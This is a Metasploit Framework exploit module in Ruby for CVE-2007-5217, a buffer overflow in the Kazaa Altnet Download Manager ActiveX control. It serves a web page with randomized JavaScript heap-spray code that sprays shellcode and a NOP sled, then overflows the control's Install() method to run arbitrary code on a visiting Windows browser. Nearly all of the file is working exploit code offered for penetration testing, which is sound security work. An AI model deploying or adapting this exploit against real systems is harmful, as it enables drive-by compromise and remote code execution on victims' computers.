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## # $Id: kazaa_altnet_heap.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Kazaa Altnet Download Manager ActiveX Control Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in the Altnet Download Manager ActiveX Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7. By sending a overly long string to the "Install()" method, an attacker may be able to execute arbitrary code. }, 'License'=> MSF_LICENSE, 'Author' => [ 'MC' ], 'Version'=> '$Revision: 9262 $', 'References' => [ [ 'CVE', '2007-5217' ], [ 'OSVDB', '37785' ], [ 'URL', 'http://secunia.com/advisories/26970/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space' => 1024, 'BadChars'=> "\x00", }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP SP0-SP2 / IE 6.0SP1 English', { 'Ret' => '\x0c\x0c\x0c\x0c' } ] ], 'DisclosureDate' => 'Oct 3 2007', 'DefaultTarget'=> 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops nops = Rex::Text.to_unescape(make_nops(4)) # Randomize the javascript variable names vname= rand_text_alpha(rand(100) + 1) var_i= rand_text_alpha(rand(30)+2) rand1= rand_text_alpha(rand(100) + 1) rand2= rand_text_alpha(rand(100) + 1) rand3= rand_text_alpha(rand(100) + 1) rand4= rand_text_alpha(rand(100) + 1) rand5= rand_text_alpha(rand(100) + 1) rand6= rand_text_alpha(rand(100) + 1) rand7= rand_text_alpha(rand(100) + 1) rand8= rand_text_alpha(rand(100) + 1) # Build out the message content = "<html>\n" + "<object classid='clsid:DEF37997-D9C9-4A4B-BF3C-88F99EACEEC2' id='#{vname}'></object>\n" + "<script language='javascript'>\n" + "#{rand1} = unescape('#{shellcode}');\n" + "#{rand2} = unescape('#{nops}');\n" + "#{rand3} = 20;\n" + "#{rand4} = #{rand3}+#{rand1}.length\n" + "while (#{rand2}.length<#{rand4}) #{rand2}+=#{rand2};\n" + "#{rand5} = #{rand2}.substring(0, #{rand4});\n" + "#{rand6} = #{rand2}.substring(0, #{rand2}.length-#{rand4});\n" + "while(#{rand6}.length+#{rand4}<0x30000) #{rand6} = #{rand6}+#{rand6}+#{rand5};\n" + "#{rand7} = new Array();\n" + "for (#{var_i}=0; #{var_i}<400; #{var_i}++) #{rand7}[#{var_i}] = #{rand6} + #{rand1};\n" + "#{rand8} = '#{target.ret}';\n" + "while (#{rand8}.length < 5000) #{rand8}+=#{rand8};\n" + "#{vname}.Install(#{vname} ,#{rand8} ,#{vname}, 1);\n" + "</script>\n" + "</html>" content = Rex::Text.randomize_space(content) print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |
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